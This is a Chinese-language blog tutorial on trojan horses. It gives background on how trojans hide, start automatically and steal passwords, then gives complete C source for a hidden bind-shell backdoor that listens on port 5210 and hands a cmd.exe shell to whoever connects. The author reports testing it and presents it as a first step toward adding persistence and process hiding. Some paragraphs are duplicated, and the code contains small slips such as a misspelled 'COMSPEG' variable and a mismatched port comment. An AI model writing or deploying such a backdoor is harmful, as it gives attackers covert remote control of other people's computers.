前言
前面我們已經學習了病毒免殺技術的特征碼免殺了,但是木馬大家是不是感覺還是很神秘呢,接下來就讓我為大家揭開木馬的神秘面紗。
一、基礎知識
1.1、木馬病毒
木馬(Trojan)這個名字來源於古希臘傳說(荷馬史詩中木馬計的故事,Trojan一詞的本意是特洛伊的,即代指特洛伊木馬,也就是木馬計的故事)。
木馬會想盡一切辦法隱藏自己,主要途徑有:在任務欄中隱藏自己,這是最基本的辦法。只要把Form的Visible屬性設為False,ShowInTaskBar設為False,程序運行時就不會出現在任務欄中了。在任務管理器中隱形:將程序設為“系統服務”可以很輕松地偽裝自己。當然它也會悄無聲息地啟動,黑客當然不會指望用戶每次啟動后點擊“木馬”圖標來運行服務端,“木馬”會在每次用戶啟動時自動裝載。Windows系統啟動時自動加載應用程序的方法,“木馬”都會用上,如:啟動組、Win.ini、System.ini、注冊表等都是“木馬”藏身的好地方。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由於遠程控制軟件是“善意”的控制,因此通常不具有隱蔽性;“木馬”則完全相反,木馬要達到的是“偷竊”性的遠程控制,如果沒有很強的隱蔽性的話,那就是“毫無價值”的。
1.2、木馬程序原理
木馬病毒的工作原理:一個完整的特洛伊木馬套裝程序含了兩部分:服務端(服務器部分)和客戶端(控制器部分)。植入對方電腦的是服務端,而黑客正是利用客戶端進入運行了服務端的電腦。運行了木馬程序的服務端以后,會產生一個有着容易迷惑用戶的名稱的進程,暗中打開端口,向指定地點發送數據(如網絡游戲的密碼,即時通信軟件密碼和用戶上網密碼等),黑客甚至可以利用這些打開的端口進入電腦系統。
木馬會想盡一切辦法隱藏自己,主要途徑有:在任務欄中隱藏自己,這是最基本的辦法。只要把Form的Visible屬性設為False,ShowInTaskBar設為False,程序運行時就不會出現在任務欄中了。在任務管理器中隱形:將程序設為“系統服務”可以很輕松地偽裝自己。當然它也會悄無聲息地啟動,黑客當然不會指望用戶每次啟動后點擊“木馬”圖標來運行服務端,“木馬”會在每次用戶啟動時自動裝載。Windows系統啟動時自動加載應用程序的方法,“木馬”都會用上,如:啟動組、Win.ini、System.ini、注冊表等都是“木馬”藏身的好地方。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由於遠程控制軟件是“善意”的控制,因此通常不具有隱蔽性;“木馬”則完全相反,木馬要達到的是“偷竊”性的遠程控制,如果沒有很強的隱蔽性的話,那就是“毫無價值”的。
1.2、木馬程序原理
木馬病毒的工作原理:一個完整的特洛伊木馬套裝程序含了兩部分:服務端(服務器部分)和客戶端(控制器部分)。植入對方電腦的是服務端,而黑客正是利用客戶端進入運行了服務端的電腦。運行了木馬程序的服務端以后,會產生一個有着容易迷惑用戶的名稱的進程,暗中打開端口,向指定地點發送數據(如網絡游戲的密碼,即時通信軟件密碼和用戶上網密碼等),黑客甚至可以利用這些打開的端口進入電腦系統。
1.3、一般木馬種類
密碼發送型木馬
密碼發送型木馬可以在受害者不知道的情況下把找到的所有隱藏密碼發送到指定的信箱,從而達到獲取密碼的目的,這類木馬大多使用25端口發送E-mail。
鍵盤記錄型木馬
鍵盤記錄型木馬主要用來記錄受害者的鍵盤敲擊記錄,這類木馬有在線和離線記錄兩個選項,分別記錄對方在線和離線狀態下敲擊鍵盤時的按鍵情況。
破壞性木馬
顧名思義,破壞性木馬唯一的功能就是破壞感染木馬的計算機文件系統,使其遭受系統崩潰或者重要數據丟失的巨大損失。
代理木馬
代理木馬最重要的任務是給被控制的“肉雞”種上代理木馬,讓其變成攻擊者發動攻擊的調版。通過這類木馬,攻擊者可以在匿名情況下使用Tenlet、ICO、IRC等程序,從而在入侵的同時隱蔽自己的足跡,謹防別人發現及自己的身份。
FTP木馬
FTP木馬的唯一功能就是打開21端口並等待用戶連接,新FTP木馬還加上了密碼功能,這樣只有攻擊者本人知道正確的密碼,從而進入對方的計算機。
反彈端口型木馬
反彈端口型木馬的服務端(被控制端)使用主動端口,客戶端(控制端)使用被動端口,正好與一般木馬相反,木馬定時檢測控制端的存在,發現控制端上線立刻彈出主動連接領控制端打開的端口。
1.4、常見的技術
對於普通人來說,木馬可謂是高深莫測,難以理解,下面就列舉常用到的編程技術,揭開木馬的神秘面紗
- 修改注冊表技術
- 多線程技術
- 后台監控技術
- 定時觸發技術
二、木馬編寫實戰

寫程序的時候我們需要想一下要實現那些功能,寫木馬同樣一樣,首先我准備寫一個后門型木馬,主要的功能就是給我們開一個端口,讓我們使用Telnet命令連接上去,從而控制目標計算機,作為木馬,我們當然還需要隱藏自己。
代碼如下:
#pragma comment(lib,"ws2_32.lib") //這里我們靜態加入一個lib文件,也就是ws2_32.lib</font> #pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"") //設置連接器選項 #include <winsock2.h> //包含頭文件winsock2.h,這個是 windows socket的頭文件 #include <windows.h> //常用的,不解釋 #define MasterPort 5210 //定義一個常量,也就是我們后面要打開的端口 main() //主函數不解釋 { WSADATA WSADa; //這個結構被用來存儲被WSAStartup函數調用后返回的Windows Sockets數據。后面的基本上差不多就不解釋,不懂請大家自行百度 sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255];
//分配內存,初始化數據 ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO)); ZeroMemory(&WSADa,sizeof(WSADATA)); //獲取cmd路徑 GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath)); //加載ws2_32.dll WSAStartup(0x0202,&WSADa); //設置本地信息和綁定協議,建立socket,代碼如下: SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設置綁定端口999 bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設置服務器端監聽端口 listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //開始連接遠程服務器,並配置隱藏窗口結構體 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //創建匿名管道: CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //關閉進程句柄: closesocket(CSocket); closesocket(SSocket); WSACleanup(); //關閉連接卸載ws2_32.dll return 0; }
建立CSocket開始,然后綁定端口5210,接下來監聽這個端口,然后接收來自客戶端的命令,最后關閉這個CSocket。這是一個比較簡單的正向連接后門程序。這個程序之所以說比較簡單,系統重啟這個木馬就會被清除了。因為你並沒有添加進系統啟動項,隱藏進程。這個涉及的技術比較復雜,以后講解。
接下來我們就將編譯好的木馬放在測試機上進行測試

可以發現運行程序並沒有什么事情發生,但是程序已經在默默的在運行了,而且打開了我們的5210端口。
我們用另一台機器連接看看

可以發現我們成功連接到測試機
由於沒有進程隱藏,所以我們可以輕易發現木馬的進程。

感謝您的閱讀,如果您學到了,請點贊(碼字不易)!
歡迎熱心園友補充!